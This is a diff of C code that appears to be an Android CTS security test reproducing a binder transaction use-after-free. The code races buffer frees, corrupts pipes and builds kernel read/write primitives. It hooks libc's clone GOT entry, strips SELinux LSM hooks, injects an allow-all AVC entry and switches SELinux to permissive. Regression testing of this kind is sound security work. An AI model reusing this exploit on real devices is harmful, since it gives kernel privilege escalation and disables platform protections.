+    void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map_ret == MAP_FAILED)
+        fail("map fail");
+    enter_looper(fd);
+}
+
+int open_binder() {
+    int fd = open("/dev/binder", O_RDONLY);
+    if (fd < 0)
+        fail("open binder fail");
+    init_binder(fd);
+    return fd;
+}
+
+static inline void binder_rw(int fd, void *rbuf, u32 rsize,
+        void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) {
+    struct binder_write_read bwr;
+    memset(&bwr, 0x00, sizeof(bwr));
+    bwr.read_buffer = (u64)rbuf;
+    bwr.read_size = rsize;
+    bwr.write_buffer = (u64)wbuf;
+    bwr.write_size = wsize;
+    if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
+        fail("binder ioctl fail");
+    if (read_consumed)
+        *read_consumed = bwr.read_consumed;
+    if (write_consumed)
+        *write_consumed = bwr.write_consumed;
+}
+
+void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) {
+    binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL);
+}
+
+static inline void binder_write(int fd, buf_t *buf) {
+    u32 write_consumed;
+    binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed);
+    if (write_consumed != buf->off)
+        fail("binder write fail");
+    free_buf(buf);
+}
+
+void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG);
+    struct binder_transaction_data_sg *tr;
+    tr = buf_alloc(buf, sizeof(*tr));
+    struct binder_transaction_data *trd = &tr->transaction_data;
+    trd->target.handle = to;
+    trd->code = code;
+    if (oneway)
+        trd->flags |= TF_ONE_WAY;
+    trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0;
+    trd->data.ptr.offsets = troff ? (u64)troff->p : 0;
+    trd->data_size = trdat ? trdat->off : 0;
+    trd->offsets_size = troff ? troff->off : 0;
+    tr->buffers_size = extra_sz;
+    binder_write(fd, buf);
+    if (trdat)
+        free_buf(trdat);
+    if (troff)
+        free_buf(troff);
+}
+
+void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) {
+    do_send_txn(fd, to, code, trdat, troff, 0, 0, 0);
+}
+
+void send_reply(int fd) {
+    do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0);
+}
+
+static inline void chg_ref(int fd, unsigned desc, u32 cmd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, cmd);
+    buf_u32(buf, desc);
+    binder_write(fd, buf);
+}
+
+void inc_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_ACQUIRE);
+}
+
+void dec_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_RELEASE);
+}
+
+static inline void free_buffer(int fd, u64 ptr) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_FREE_BUFFER);
+    buf_uintptr(buf, ptr);
+    binder_write(fd, buf);
+}
+
+typedef struct {
+    int fd;
+    char *buf;
+    binder_size_t size;
+    binder_size_t parsed;
+    binder_size_t *offsets;
+    binder_size_t num_offsets;
+    u32 code;
+    u64 ptr;
+} txn_t;
+
+void *txn_get(txn_t *t, u32 sz) {
+    sz = (sz + 3) & ~3u;
+    if (sz > t->size - t->parsed)
+        fail("txn get not enough data");
+    char *ret = t->buf + t->parsed;
+    t->parsed += sz;
+    return ret;
+}
+
+binder_size_t txn_offset(txn_t *t) {
+    return t->parsed;
+}
+
+void txn_set_offset(txn_t *t, binder_size_t off) {
+    t->parsed = off;
+}
+
+u32 txn_u32(txn_t *t) {
+    return *(u32*)txn_get(t, sizeof(u32));
+}
+
+int txn_int(txn_t *t) {
+    return *(int*)txn_get(t, sizeof(int));
+}
+
+u32 txn_handle(txn_t *t) {
+    struct flat_binder_object *fp;
+    fp = txn_get(t, sizeof(*fp));
+    if (fp->hdr.type != BINDER_TYPE_HANDLE)
+        fail("expected binder");
+    return fp->handle;
+}
+
+u16 *txn_str(txn_t *t) {
+    int len = txn_int(t);
+    if (len == -1)
+        return NULL;
+   if (len > 0x7fffffff / 2 - 1)
+        fail("bad txn str len");
+    return txn_get(t, (len + 1) * 2);
+}
+
+static inline u64 txn_buf(txn_t *t) {
+    return (u64)t->buf;
+}
+
+void free_txn(txn_t *txn) {
+    free_buffer(txn->fd, txn_buf(txn));
+}
+
+
+void handle_cmd(int fd, u32 cmd, void *dat) {
+    if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) {
+        struct binder_ptr_cookie *pc = dat;
+        buf_t *buf = new_buf();
+        u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE;
+        buf_u32(buf, reply);
+        buf_uintptr(buf, pc->ptr);
+        buf_uintptr(buf, pc->cookie);
+        binder_write(fd, buf);
+    }
+}
+
+void recv_txn(int fd, txn_t *t) {
+    u32 found = 0;
+    while (!found) {
+        parser_t *p = new_parser();
+        binder_read(fd, p->p, p->size, &p->size);
+        while (!parser_end(p)) {
+            u32 cmd = parse_u32(p);
+            void *dat = (void *)parser_get(p, _IOC_SIZE(cmd));
+            if (dat == NULL) {
+                return;
+            }
+            handle_cmd(fd, cmd, dat);
+            if (cmd == BR_TRANSACTION || cmd == BR_REPLY) {
+                struct binder_transaction_data *tr = dat;
+                if (!parser_end(p))
+                    fail("expected parser end");
+                t->fd = fd;
+                t->buf = (char*)tr->data.ptr.buffer;
+                t->parsed = 0;
+                t->size = tr->data_size;
+                t->offsets = (binder_size_t*)tr->data.ptr.offsets;
+                t->num_offsets = tr->offsets_size / sizeof(binder_size_t);
+                t->code = tr->code;
+                t->ptr = tr->target.ptr;
+                found = 1;
+            }
+        }
+        free_parser(p);
+    }
+}
+
+u32 recv_handle(int fd) {
+    txn_t txn;
+    recv_txn(fd, &txn);
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_activity_svc(int fd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.os.IServiceManager");
+    buf_str16(trdat, "activity");
+    int SVC_MGR_GET_SERVICE = 1;
+    send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL);
+    return recv_handle(fd);
+}
+
+void txn_part(txn_t *t) {
+    int repr = txn_int(t);
+    if (repr == 0) {
+        txn_str(t);
+        txn_str(t);
+    } else if (repr == 1 || repr == 2) {
+        txn_str(t);
+    } else {
+        fail("txn part bad repr");
+    }
+}
+
+void txn_uri(txn_t *t) {
+    int type = txn_int(t);
+    if (type == 0) // NULL_TYPE_ID
+        return;
+    if (type == 1) { // StringUri.TYPE_ID
+        txn_str(t);
+    } else if (type == 2) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+    } else if (type == 3) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+    } else {
+        fail("txn uri bad type");
+    }
+}
+
+void txn_component(txn_t *t) {
+    u16 *pkg = txn_str(t);
+    if (pkg)
+        txn_str(t); // class
+}
+
+void txn_rect(txn_t *t) {
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+}
+
+int str16_eq(u16 *s16, char *s) {
+    while (*s) {
+        if (*s16++ != *s++)
+            return 0;
+    }
+    return !*s16;
+}
+
+void txn_bundle(txn_t *t, u32 *hnd) {
+    int len = txn_int(t);
+    if (len < 0)
+        fail("bad bundle len");
+    if (len == 0)
+        return;
+    int magic = txn_int(t);
+    if (magic != 0x4c444e42 && magic != 0x4c444e44)
+        fail("bad bundle magic");
+    binder_size_t off = txn_offset(t);
+    int count = txn_int(t);
+    if (count == 1) {
+        u16 *key = txn_str(t);
+        int type = txn_int(t);
+        if (str16_eq(key, "bnd") && type == 15)
+            *hnd = txn_handle(t);
+    }
+    txn_set_offset(t, off);
+    txn_get(t, len);
+}
+
+void txn_intent(txn_t *t, u32 *hnd) {
+    txn_str(t); // action
+    txn_uri(t);
+    txn_str(t); // type
+    txn_int(t); // flags
+    txn_str(t); // package
+    txn_component(t);
+    if (txn_int(t)) // source bounds
+        txn_rect(t);
+    int n = txn_int(t);
+    if (n > 0) {
+        for (int i = 0; i < n; i++)
+            txn_str(t);
+    }
+    if (txn_int(t)) // selector
+        txn_intent(t, NULL);
+    if (txn_int(t))
+        fail("unexpected clip data");
+    txn_int(t); // content user hint
+    txn_bundle(t, hnd); // extras
+}
+
+void get_task_info(int fd, u32 app_task, u32 *hnd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IAppTask");
+    send_txn(fd, app_task, 1 + 1, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getTaskInfo exception");
+    if (txn_int(&txn) == 0)
+        fail("getTaskInfo returned null");
+    txn_int(&txn); // id
+    txn_int(&txn); // persistent id
+    if (txn_int(&txn) > 0) // base intent
+        txn_intent(&txn, hnd);
+    if (*hnd != ~0u)
+        inc_ref(fd, *hnd);
+    free_txn(&txn);
+}
+
+u32 get_app_tasks(int fd, u32 actsvc) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IActivityManager");
+    buf_str16(trdat, "android.security.cts");
+    send_txn(fd, actsvc, 1 + 199, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getAppTasks exception");
+    int n = txn_int(&txn);
+    if (n < 0)
+        fail("getAppTasks n < 0");
+    u32 hnd = ~0u;
+    for (int i = 0; i < n; i++) {
+        u32 app_task = txn_handle(&txn);
+        get_task_info(fd, app_task, &hnd);
+        if (hnd != ~0u)
+            break;
+    }
+    if (hnd == ~0u)
+        fail("didn't find intent extras binder");
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_exchg(int fd) {
+    u32 actsvc = get_activity_svc(fd);
+    u32 ret = get_app_tasks(fd, actsvc);
+    dec_ref(fd, actsvc);
+    return ret;
+}
+
+int get_binder(u32 *exchg) {
+    int fd = open_binder();
+    *exchg = get_exchg(fd);
+    return fd;
+}
+
+void exchg_put_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_t *troff = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    buf_binder(trdat, troff, (void*)1);
+    send_txn(fd, exchg, 1, trdat, troff);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    free_txn(&txn);
+}
+
+u32 exchg_get_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    send_txn(fd, exchg, 2, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getBinder exception");
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+void set_idle() {
+  struct sched_param param = {
+    .sched_priority = 0
+  };
+  if (sched_setscheduler(0, SCHED_IDLE, &param) < 0)
+    fail("sched_setscheduler fail");
+}
+
+int do_set_cpu(int cpu) {
+    cpu_set_t set;
+    CPU_ZERO(&set);
+    CPU_SET(cpu, &set);
+    return sched_setaffinity(0, sizeof(set), &set);
+}
+
+void set_cpu(int cpu) {
+    if (do_set_cpu(cpu) < 0)
+        fail("sched_setaffinity fail");
+}
+
+struct sync {
+    pthread_cond_t cond;
+    pthread_mutex_t mutex;
+    volatile int triggered;
+    size_t num_waiters;
+    volatile size_t num_waited;
+    volatile size_t num_done;
+};
+
+typedef struct sync sync_t;
+
+sync_t *alloc_sync() {
+    sync_t *ret = malloc(sizeof(sync_t));
+    if (pthread_mutex_init(&ret->mutex, NULL) ||
+        pthread_cond_init(&ret->cond, NULL))
+        fail("pthread init failed");
+    ret->triggered = 0;
+    ret->num_waiters = 1;
+    ret->num_waited = 0;
+    ret->num_done = 0;
+    return ret;
+}
+
+void sync_set_num_waiters(sync_t *sync, size_t num_waiters) {
+    sync->num_waiters = num_waiters;
+}
+
+void sync_pth_bc(sync_t *sync) {
+    if (pthread_cond_broadcast(&sync->cond) != 0)
+        fail("pthread_cond_broadcast failed");
+}
+
+void sync_pth_wait(sync_t *sync) {
+    pthread_cond_wait(&sync->cond, &sync->mutex);
+}
+
+void sync_wait(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_waited++;
+    sync_pth_bc(sync);
+    while (!sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_signal(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_waited != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 1;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_done++;
+    sync_pth_bc(sync);
+    while (sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_wait_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_done != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 0;
+    sync->num_waited = 0;
+    sync->num_done = 0;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+static inline void ns_to_timespec(u64 t, struct timespec *ts) {
+    const u64 k = 1000000000;
+    ts->tv_sec = t / k;
+    ts->tv_nsec = t % k;
+}
+
+static inline u64 timespec_to_ns(volatile struct timespec *t) {
+     return (u64)t->tv_sec * 1000000000 + t->tv_nsec;
+}
+
+static inline u64 time_now() {
+    struct timespec now;
+    if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
+        fail("clock_gettime failed");
+    return timespec_to_ns(&now);
+}
+
+static inline void sleep_until(u64 t) {
+    struct timespec wake;
+    ns_to_timespec(t, &wake);
+    int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL);
+    if (ret && ret != EINTR)
+        fail("clock_nanosleep failed");
+}
+
+void set_thread_name(const char *name) {
+    if (prctl(PR_SET_NAME, name) < 0)
+        fail("pr_set_name fail");
+}
+
+void set_timerslack() {
+    char path[64];
+    sprintf(path, "/proc/%d/timerslack_ns", gettid());
+    int fd = open(path, O_WRONLY);
+    if (fd < 0)
+        fail("open timerslack fail");
+    if (write(fd, "1\n", 2) != 2)
+        fail("write timeslack fail");
+    close(fd);
+}
+
+struct launch_dat {
+    u64 arg;
+    void (*func)(u64);
+    int attach_jni;
+    const char *name;
+};
+
+void *thread_start(void *vdat) {
+    struct launch_dat *dat = vdat;
+    if (dat->attach_jni)
+        jni_attach_thread();
+    set_thread_name(dat->name);
+    void (*func)(u64) = dat->func;
+    u64 arg = dat->arg;
+    free(dat);
+    (*func)(arg);
+    return NULL;
+}
+
+int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg,
+        int attach_jni) {
+    if (sync)
+        *sync = alloc_sync();
+    struct launch_dat *dat = malloc(sizeof(*dat));
+    dat->func = func;
+    dat->arg = arg;
+    dat->attach_jni = attach_jni;
+    dat->name = name;
+    pthread_t th;
+    if (pthread_create(&th, NULL, thread_start, dat) != 0)
+        fail("pthread_create failed");
+    return pthread_gettid_np(th);
+}
+
+void *map_path(const char *path, u64 *size) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0)
+        fail("open libc fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map == MAP_FAILED)
+        fail("mmap libc fail");
+    *size = st.st_size;
+    close(fd);
+    return map;
+}
+
+typedef Elf64_Ehdr ehdr_t;
+typedef Elf64_Shdr shdr_t;
+typedef Elf64_Rela rela_t;
+typedef Elf64_Sym sym_t;
+
+shdr_t *find_rela_plt(void *elf) {
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset;
+    for (u64 i = 0; i < ehdr->e_shnum; i++) {
+        char *name = shstr + shdr[i].sh_name;
+        if (strcmp(name, ".rela.plt") == 0)
+            return &shdr[i];
+    }
+    fail("didn't find .rela.plt");
+    return NULL;
+}
+
+u64 find_elf_clone_got(const char *path) {
+    u64 mapsz;
+    void *elf = map_path(path, &mapsz);
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    shdr_t *rphdr = find_rela_plt(elf);
+    if (rphdr == NULL) {
+        return (u64)0;
+    }
+    shdr_t *symhdr = &shdr[rphdr->sh_link];
+    shdr_t *strhdr = &shdr[symhdr->sh_link];
+    sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset;
+    char *str = ((char *)elf) + strhdr->sh_offset;
+    rela_t *r = ((rela_t *)elf) + rphdr->sh_offset;
+    rela_t *end = r + rphdr->sh_size / sizeof(rela_t);
+    u64 ret = 0;
+    for (; r < end; r++) {
+        sym_t *s = &sym[ELF64_R_SYM(r->r_info)];
+        if (strcmp(str + s->st_name, "clone") == 0) {
+            ret = r->r_offset;
+            break;
+        }
+    }
+    if (!ret) {
+        fail("clone rela not found");
+        return (u64)0;
+    }
+    if (munmap(elf, mapsz) < 0) {
+        fail("munmap fail");
+        return (u64)0;
+    }
+    return ret;
+}
+
+int hook_tid;
+int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f);
+
+int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) {
+    if (gettid() == hook_tid)
+        flags &= ~CLONE_FILES;
+    return (*real_clone)(a, b, flags, c, d, e, f);
+}
+
+void unshare_following_clone_files() {
+    hook_tid = gettid();
+}
+
+void hook_clone() {
+    void *p = (void*)((uintptr_t)clone & ~0xffful);
+    while (*(u32*)p != 0x464c457f)
+        p = (void *)(((u32 *)p) - 0x1000);
+    u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so");
+    if (*got != (u64)clone)
+        fail("bad got");
+    real_clone = (void*)clone;
+    void *page = (void*)((u64)got & ~0xffful);
+    if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) {
+        fail("got mprotect fail");
+        return;
+    }
+    *got = (u64)clone_unshare_files;
+}
+
+u32 r32(u64 addr);
+u64 r64(u64 addr);
+void w64(u64 addr, u64 val);
+void w128(u64 addr, u64 v1, u64 v2);
+u64 scratch;
+u64 rw_task;
+u64 current;
+u64 fdarr;
+
+void hlist_del(u64 node) {
+    u64 next = r64(node);
+    u64 pprev = r64(node + 8);
+    if (r64(pprev) != node) {
+        fail("bad hlist");
+        return;
+    }
+    w64(pprev, next);
+    if (next)
+        w64(next + 8, pprev);
+}
+
+u64 get_file(int fd) {
+    return r64(fdarr + fd * 8);
+}
+
+u64 first_bl(u64 func) {
+    for (int i = 0; i < 30; i++) {
+        u32 inst = r32(func + i * 4);
+        if ((inst >> 26) == 0x25) { // bl
+            s64 off = inst & ((1u << 26) - 1);
+            off <<= 64 - 26;
+            off >>= 64 - 26;
+            return func + i * 4 + off * 4;
+        }
+    }
+    fail("bl not found");
+    return (u64)-1;
+}
+
+int is_adrp(u32 inst) {
+    return ((inst >> 24) & 0x9f) == 0x90;
+}
+
+u64 parse_adrp(u64 p, u32 inst) {
+    s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2;
+    off |= (inst >> 29) & 3;
+    off <<= (64 - 21);
+    off >>= (64 - 21 - 12);
+    return (p & ~0xffful) + off;
+}
+
+u64 find_adrp_add(u64 addr) {
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        u32 inst = r32(addr);
+        if (is_adrp(inst)) {
+            u64 ret = parse_adrp(addr, inst);
+            inst = r32(addr + 4);
+            if ((inst >> 22) != 0x244) {
+                fail("not add after adrp");
+                return (u64)-1;
+            }
+            ret += (inst >> 10) & ((1u << 12) - 1);
+            return ret;
+        }
+        addr += 4;
+    }
+    fail("adrp add not found");
+    return (u64)-1;
+}
+
+u64 locate_hooks() {
+    char path[256];
+    DIR *d = opendir("/proc/self/map_files");
+    char *p;
+    while (1) {
+        struct dirent *l = readdir(d);
+        if (!l)
+            fail("readdir fail");
+        p = l->d_name;
+        if (strcmp(p, ".") && strcmp(p, ".."))
+            break;
+    }
+    sprintf(path, "/proc/self/map_files/%s", p);
+    closedir(d);
+    int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY);
+    if (fd < 0)
+        fail("link open fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    if (!S_ISLNK(st.st_mode))
+        fail("link open fail");
+    u64 file = get_file(fd);
+    u64 inode = r64(file + 0x20);
+    u64 iop = r64(inode + 0x20);
+    u64 follow_link = r64(iop + 8);
+    u64 cap = first_bl(follow_link);
+    u64 scap = first_bl(cap);
+    if (cap == (u64)-1 || scap == (u64)-1) {
+        dbg("cap=%016zx", cap);
+        dbg("scap=%016zx", scap);
+        return (u64)-1;
+    }
+    u64 hooks = find_adrp_add(scap);
+    close(fd);
+    dbg("hooks=%016zx", hooks);
+    return hooks;
+}
+
+void unhook(u64 hooks, int idx) {
+    u64 hook = hooks + idx * 0x10;
+    w128(hook, hook, hook);
+}
+
+u64 locate_avc(u64 hooks) {
+    u64 se_file_open = r64(r64(hooks + 0x490) + 0x18);
+    u64 seqno = first_bl(se_file_open);
+    if (seqno == (u64)-1) {
+        dbg("seqno=%016zx", seqno);
+        return (u64)-1;
+    }
+    u64 avc = find_adrp_add(seqno);
+    dbg("avc=%016zx", avc);
+    return avc;
+}
+
+u32 get_sid() {
+    u64 real_cred = r64(current + 0x788);
+    u64 security = r64(real_cred + 0x78);
+    u32 sid = r32(security + 4);
+    dbg("sid=%u", sid);
+    return sid;
+}
+
+struct avc_node {
+    u32 ssid;
+    u32 tsid;
+    u16 tclass;
+    u16 pad;
+    u32 allowed;
+};
+
+u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) {
+    struct avc_node n;
+    n.ssid = ssid;
+    n.tsid = tsid;
+    n.tclass = class;
+    n.pad = 0;
+    n.allowed = ~0u;
+    u64 node = scratch;
+    for (int i = 0; i < 9; i++)
+        w64(node + i * 8, 0);
+    u64 *src = (u64*)&n;
+    w64(node, src[0]);
+    w64(node + 8, src[1]);
+    int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff;
+    u64 head = avc + hash * 8;
+    u64 hl = node + 0x28;
+    u64 first = r64(head);
+    w128(hl, first, head);
+    if (first)
+        w64(first + 8, hl);
+    w64(head, hl);
+    dbg("granted security sid");
+    return hl;
+}
+
+int enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+    if (fd < 0)
+        return 1;
+    dbg("enforce=%d", fd);
+    char buf;
+    if (read(fd, &buf, 1) != 1)
+        return 1;
+    close(fd);
+    return buf == '1';
+}
+
+void disable_enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
+    if (fd >= 0) {
+        write(fd, "0", 1);
+        close(fd);
+    }
+    if (enforce())
+        fail("failed to switch selinux to permissive");
+    dbg("selinux now permissive");
+}
+
+void disable_selinux() {
+    if (!enforce()) {
+        dbg("selinux already permissive");
+        return;
+    }
+    u64 hooks = locate_hooks();
+    if (hooks == (u64)-1) {
+        return;
+    }
+    u64 avc = locate_avc(hooks);
+    if (avc == (u64)-1) {
+        return;
+    }
+    unhook(hooks, 0x08); // capable
+    unhook(hooks, 0x2f); // inode_permission
+    unhook(hooks, 0x3d); // file_permission
+    unhook(hooks, 0x49); // file_open
+    u64 avcnode = grant(avc, get_sid(), 2, 1);
+    disable_enforce();
+    hlist_del(avcnode);
+}
+
+#define PIPES 8
+#define STAGE2_THREADS 64
+
+int cpumask;
+int cpu1;
+int cpu2;
+int tot_cpus;
+const char *pipedir;
+char *pipepath;
+char *pipeid;
+int pipefd[PIPES];
+sync_t *free_sync;
+sync_t *poll_sync;
+sync_t *stage2_sync1;
+sync_t *stage2_sync2;
+sync_t *rw_thread_sync;
+int bnd1, bnd2;
+u32 to1;
+u64 free_ptr;
+u64 trigger_time;
+int total_txns;
+int bad_pipe;
+int uaf_pipe;
+volatile int uaf_alloc_success;
+u64 pipe_inode_info;
+int rw_thread_tid;
+volatile int rw_cmd;
+volatile int rw_bit;
+volatile int rw_val;
+u64 free_data;
+u64 next_free_data;
+
+void select_cpus() {
+    cpu1 = cpu2 = -1;
+    for (int i = 7; i >= 0; i--) {
+        if (do_set_cpu(i) < 0)
+            continue;
+        cpumask |= (1 << i);
+        if (cpu1 < 0)
+            cpu1 = i;
+        else if (cpu2 < 0)
+            cpu2 = i;
+        tot_cpus++;
+    }
+    if (cpu1 < 0 || cpu2 < 0) {
+        fail("huh, couldn't find 2 cpus");
+    }
+    dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2);
+}
+
+void rw_thread(u64 idx);
+void free_thread(u64 arg);
+void poll_thread(u64 arg);
+
+int cpu_available(int cpu) {
+    return !!(cpumask & (1 << cpu));
+}
+
+void hog_cpu_thread(u64 arg) {
+    set_cpu(cpu2);
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+    }
+}
+
+void launch_threads() {
+    launch_thread("txnuaf.log", log_thread, NULL, 0, 1);
+    launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1);
+    launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1);
+    launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1);
+    rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0);
+}
+
+void open_binders() {
+    u32 xchg;
+    bnd1 = get_binder(&xchg);
+    exchg_put_binder(bnd1, xchg);
+    dec_ref(bnd1, xchg);
+    bnd2 = get_binder(&xchg);
+    to1 = exchg_get_binder(bnd2, xchg);
+    dec_ref(bnd1, xchg);
+}
+
+void make_pipe_path() {
+    size_t l = strlen(pipedir);
+    pipepath = malloc(l + 4); // "/pd\0"
+    strcpy(pipepath, pipedir);
+    pipepath[l++] = '/';
+    pipeid = pipepath + l;
+}
+
+int open_pipe(int idx) {
+    if (!pipepath)
+        make_pipe_path();
+    sprintf(pipeid, "p%d", idx);
+    int fd = open(pipepath, O_RDWR);
+    if (fd < 0)
+        fail("pipe open fail");
+    return fd;
+}
+
+void open_pipes() {
+    for (int i = 0; i < PIPES; i++)
+        pipefd[i] = open_pipe(i);
+}
+
+int do_poll(int fd, int timeout) {
+    struct pollfd pfd;
+    pfd.fd = fd;
+    pfd.events = 0;
+    pfd.revents = 0;
+    if (poll(&pfd, 1, timeout) < 0)
+        fail("pipe poll fail");
+    return pfd.revents;
+}
+
+int find_bad_pipe() {
+    for (int i = 0; i < PIPES; i++) {
+        if (do_poll(pipefd[i], 0) & POLLHUP) {
+            dbg("corrupted pipe at %d", i);
+            bad_pipe = pipefd[i];
+            sprintf(pipeid, "p%d", i);
+            return 1;
+        }
+    }
+    return 0;
+}
+
+void close_pipes() {
+    for (int i = 0; i < PIPES; i++) {
+        if (close(pipefd[i]) < 0)
+            fail("close pipe fail, i=%d fd=%d", i, pipefd[i]);
+    }
+}
+
+void free_thread(u64 arg) {
+    set_timerslack();
+    set_cpu(cpu1);
+    set_idle();
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        sync_wait(free_sync);
+        buf_t *buf = new_buf();
+        buf_u32(buf, BC_FREE_BUFFER);
+        buf_uintptr(buf, free_ptr);
+        struct binder_write_read bwr;
+        memset(&bwr, 0x00, sizeof(bwr));
+        bwr.write_buffer = (u64)buf->p;
+        bwr.write_size = buf->off;
+        int off = cpu1 < 4 ? 1300 : 350;
+        u64 target_time = trigger_time - off;
+        while (time_now() < target_time)
+            ;
+        ioctl(bnd1, BINDER_WRITE_READ, &bwr);
+        free_buf(buf);
+        sync_done(free_sync);
+    }
+};
+
+void race_cycle() {
+    dbg("race cycle, this may take time...");
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        send_txn(bnd2, to1, 0, NULL, NULL);
+        txn_t t1, t2;
+        recv_txn(bnd1, &t1);
+        free_ptr = txn_buf(&t1);
+        trigger_time = time_now() + 100000;
+        sync_signal(free_sync);
+        sleep_until(trigger_time);
+        send_reply(bnd1);
+        open_pipes();
+        recv_txn(bnd2, &t2);
+        free_txn(&t2);
+        sync_wait_done(free_sync);
+        if (find_bad_pipe())
+            break;
+        close_pipes();
+    }
+}
+
+void reopen_pipe() {
+    uaf_pipe = open(pipepath, O_WRONLY);
+    if (uaf_pipe < 0)
+        fail("reopen pipe fail");
+}
+
+void stage2_thread(u64 cpu);
+
+void stage2_launcher(u64 arg) {
+    dup2(uaf_pipe, 0);
+    dup2(bnd1, 1);
+    dup2(bnd2, 2);
+    for (int i = 3; i < 1024; i++)
+        close(i);
+    unshare_following_clone_files();
+    int cpu_count =  android_getCpuCount();
+    for (int cpu = 0; cpu < cpu_count; cpu++) {
+        if (cpu_available(cpu)) {
+            for (int i = 0; i < STAGE2_THREADS; i++)
+                launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0);
+        }
+    }
+}
+
+void signal_xpl_threads() {
+    sync_signal(stage2_sync1);
+    sync_wait_done(stage2_sync1);
+    sync_signal(stage2_sync2);
+    sync_wait_done(stage2_sync2);
+}
+
